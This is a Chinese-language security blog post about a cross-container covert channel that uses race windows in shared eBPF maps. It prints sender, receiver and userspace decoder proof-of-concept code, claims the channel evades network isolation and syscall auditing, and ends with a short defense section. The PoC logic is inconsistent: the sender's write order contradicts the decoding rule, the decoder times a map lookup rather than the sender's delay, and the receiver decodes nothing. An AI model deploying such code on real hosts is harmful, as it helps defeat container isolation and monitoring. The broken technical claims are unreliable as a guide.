Sep 10 2026 Off 摘要 eBPF 映射为内核态程序提供了高效的数据交换机制,其原子性保证仅限于单个 64 位操作。当多个 eBPF 程序共享同一个 BPF_MAP_TYPE_ARRAY 或 BPF_MAP_TYPE_HASH 时,涉及多个映射字段的复合操作存在天然的竞态窗口。攻击者可在一个容器的 eBPF 程序中快速修改映射的多个字段,与此同时,另一个容器的 eBPF 程序在读取前观察到不一致的中间状态,从而建立基于时序的隐蔽信道,绕过容器网络隔离与安全策略。更关键的是,bpf_spin_lock 的适用范围有限——它仅保护映射值内部字段的原子性,无法阻止攻击者利用映射操作之间的竞态。 eBPF 映射的并发语义 原子性保证的边界eBPF 映射是内核中存储键值对的数据结构,支持 BPF_MAP_TYPE_ARRAY、BPF_MAP_TYPE_HASH、BPF_MAP_TYPE_PERCPU_ARRAY 等多种类型。对于哈希映射,bpf_map_update_elem 和 bpf_map_lookup_elem 在单个条目上提供原子读写——这意味着一个 64 位的值在任一时刻要么被完全写入,要么被完全读出,不会出现撕裂读写。 然而,复合操作的原子性并不存在。当攻击者需要同时修改两个或多个映射条目,或者在一个映射条目上执行“读取-修改-写入”序列时,多个指令之间存在可被其他程序观察到的窗口。例如: // 非原子复合操作 __u64 *counter = bpf_map_lookup_elem(&stats_map, &key); if (counter) { __u64 old = *counter; *counter = old + 1; // 读-改-写 竞态 __u64 *timestamp = bpf_map_lookup_elem(&time_map, &key); if (timestamp) { *timestamp = bpf_ktime_get_ns(); // 与 counter 更新不在同一原子域 } } 在这段代码中,counter 和 timestamp 的更新之间存在纳秒级的竞态窗口。若另一个 eBPF 程序恰好在此窗口内读取这两个值,将观察到 counter 已递增但 timestamp 尚未更新的不一致状态。这种不一致本身即可编码信息——攻击者可将其用作比特信道。bpf_spin_lock的局限Linux 5.1 为 BPF 映射引入了 bpf_spin_lock,允许对映射值内部的字段进行加锁保护。但其使用受限:锁仅保护单个映射值内部的字段,不能跨映射条目或跨映射类型加锁。锁在映射值内部存储,占用空间,且在复制到用户态时被清零。持有锁的时间不能过长,否则会导致映射更新操作失败(-EBUSY)。这些限制意味着 bpf_spin_lock 无法解决跨映射的原子性问题。攻击者精心设计的复合操作完全不受锁的保护,竞态窗口依然存在。 跨容器隐蔽信道设计 信道模型设容器 A 和容器 B 运行在同一宿主机上,均被允许加载 eBPF 程序到内核(例如通过 bpftool 或 Cilium)。两个容器共享一个 BPF_MAP_TYPE_HASH 映射 channel_map,该映射由攻击者预先创建并通过 bpffs 持久化暴露给两个容器。 信道编码规则如下:发送者(容器 A):写入一个复合信号,包含两个映射条目:signal(数据值)和 ready(就绪标志)。发送者先写 signal,短暂延迟后写 ready=1。接收者(容器 B):持续轮询 ready 和 signal。当观察到 ready=1 但 signal 尚未更新时(即 signal 仍是旧值),接收者判定发送者刚刚完成数据写入,从而解码一个比特。通过控制发送者写 signal 和 ready 之间的延迟,攻击者可以编码不同的消息。例如,延迟 10 微秒代表比特 0,延迟 50 微秒代表比特 1。接收者通过测量 ready 更新后 signal 变化的延迟来解码信息。时序控制与噪声容忍该信道的可靠性依赖于内核调度的可预测性。在容器化环境中,eBPF 程序运行在内核上下文,不受容器 CPU 配额限制,因此攻击者可以通过 bpf_ktime_get_ns 辅助函数获取纳秒级时间戳,并利用 bpf_spin_lock 或忙等循环精确控制延迟。接收者通过统计多个样本的平均延迟来降低噪声。对于每个比特,发送者重复发送相同信号 100 次,接收者取延迟中位数,即可在噪声较高时仍保持较低误码率。隐蔽性与绕过能力绕过网络隔离:eBPF 映射位于内核内存中,不受 Kubernetes NetworkPolicy 或容器防火墙限制。即使两个容器之间完全没有网络连接,它们仍可通过共享映射通信。绕过安全审计:映射读写不产生系统调用,不触发 Seccomp 或 SELinux 告警。传统的容器行为监控无法察觉。持久性:映射可通过 bpffs 持久化在 /sys/fs/bpf 目录中,容器重启后仍可访问。 POC 发送者 eBPF 程序(容器 A) // sender.c — 发送者 eBPF 程序 #include<linux/bpf.h> #include<bpf/bpf_helpers.h> #include<bpf/bpf_core_read.h> struct { __uint(type, BPF_MAP_TYPE_HASH); __type(key, __u32); __type(value, __u64); __uint(max_entries, 16); } channel_map SEC(".maps"); SEC("tp/syscalls/sys_enter_getpid") intsender_prog(void *ctx){ __u32 key_signal = 0; __u32 key_ready = 1; __u64 val; // 获取当前时间 __u64 t0 = bpf_ktime_get_ns(); // 写入 signal(新数据) __u64 signal_value = 0xDEADBEEF; // 待发送的数据 bpf_map_update_elem(&channel_map, &key_signal, &signal_value, BPF_ANY); // 可控延迟:根据待发送比特决定延迟长短 // 这里简化:固定延迟 10us 代表比特 0,50us 代表比特 1 // 实际实现可通过全局变量或映射传入延迟值 __u64 delay_ns = 10000; // 10 us while (bpf_ktime_get_ns() - t0 < delay_ns) { // 忙等 } // 写入 ready=1 __u64 ready_value = 1; bpf_map_update_elem(&channel_map, &key_ready, &ready_value, BPF_ANY); return0; } char _license[] SEC("license") = "GPL"; 接收者 eBPF 程序(容器 B) // receiver.c — 接收者 eBPF 程序 #include<linux/bpf.h> #include<bpf/bpf_helpers.h> #include<bpf/bpf_core_read.h> struct { __uint(type, BPF_MAP_TYPE_HASH); __type(key, __u32); __type(value, __u64); __uint(max_entries, 16); } channel_map SEC(".maps"); SEC("tp/syscalls/sys_enter_getpid") intreceiver_prog(void *ctx){ __u32 key_signal = 0; __u32 key_ready = 1; __u64 *signal, *ready; ready = bpf_map_lookup_elem(&channel_map, &key_ready); if (!ready || *ready != 1) return0; // ready 已置位,检查 signal 是否仍然旧值 signal = bpf_map_lookup_elem(&channel_map, &key_signal); if (!signal) return0; // 记录 signal 值,用于后续延迟测量 __u64 observed_signal = *signal; // 这里仅做示例:如果 observed_signal 不是预期的新值,说明数据可能被覆盖 // 实际接收者需要在用户态测量 ready 置位到 signal 更新的延迟 return0; } char _license[] SEC("license") = "GPL"; 用户态控制与数据解码 // channel_control.c — 用户态控制程序 // 编译:gcc channel_control.c -o channel_control -lbpf #include<stdio.h> #include<stdlib.h> #include<unistd.h> #include<time.h> #include<bpf/libbpf.h> #include<bpf/bpf.h> #include<sys/syscall.h> staticinlineuint64_trdtsc(void){ uint32_t lo, hi; asmvolatile("rdtscp" : "=a"(lo), "=d"(hi) :: "rcx"); return ((uint64_t)hi << 32) | lo; } intmain(int argc, char** argv){ int map_fd = bpf_obj_get("/sys/fs/bpf/channel_map"); if (map_fd < 0) { perror("bpf_obj_get"); return1; } printf("[*] 监测映射竞态信道...\n"); __u32 key_signal = 0; __u32 key_ready = 1; __u64 signal, ready; while (1) { // 轮询 ready bpf_map_lookup_elem(map_fd, &key_ready, &ready); if (ready != 1) { usleep(100); continue; } // ready 已置位,立即测量 signal 的变化延迟 uint64_t start = rdtsc(); bpf_map_lookup_elem(map_fd, &key_signal, &signal); uint64_t end = rdtsc(); uint64_t latency = end - start; printf(" 延迟: %lu cycles, signal: 0x%llx\n", latency, signal); // 重置 ready __u64 zero = 0; bpf_map_update_elem(map_fd, &key_ready, &zero, BPF_ANY); usleep(1000); } return0; } 说明:发送者 eBPF 程序在写入 signal 后延迟一段时间再写入 ready。接收者轮询 ready,一旦观察到置位,立即测量读取 signal 的延迟。通过分析延迟的长短,接收者可解码出发送者编码的比特序列。 检测与防御 验证器增强eBPF 验证器可在编译时检测潜在的竞态模式。具体地,若一个程序在短时间内对多个映射执行复合更新,且这些操作之间没有显式同步(如 bpf_spin_lock),验证器应标记该程序为可疑。验证器可计算映射更新的时间窗口,若超过阈值则拒绝加载。运行时监控映射访问频率分析:在运行时监控每个 eBPF 程序对映射的读写频率。异常的轮询行为(如高频 bpf_map_lookup_elem)可能指示隐蔽信道活动。跨容器映射隔离:默认禁止不同容器共享同一个映射。Kubernetes 或容器运行时可通过 bpffs 权限控制,确保每个容器的映射文件仅允许本容器挂载。审计映射创建与更新:记录所有映射的创建来源和更新历史,结合容器隔离策略,检测跨容器映射的异常共享。硬件辅助利用 Intel MPK(Memory Protection Keys)或 AMD 的类似技术,为不同容器的 eBPF 映射分配不同的内存保护键,防止跨容器访问。虽然 MPK 在 eBPF 领域的应用尚不成熟,但为未来的映射隔离提供了思路。 结语 eBPF 映射的原子性边界是内核扩展模型中被长期忽视的安全细节。当攻击者掌握了多个容器内的 eBPF 程序加载权限时,共享映射便从数据交换工具演变为跨越网络隔离的隐蔽信道。更令人担忧的是,这种信道不产生网络流量、不触发系统调用监控,完全运行在内核的数据平面。防御者需要从验证器的静态分析、运行时的映射隔离以及硬件的内存保护三个维度入手,方能封堵这条静默的通信走廊。 Post navigation Previous PostPrevious 镜像仓库幻影层Next PostNext Knative冷启动劫持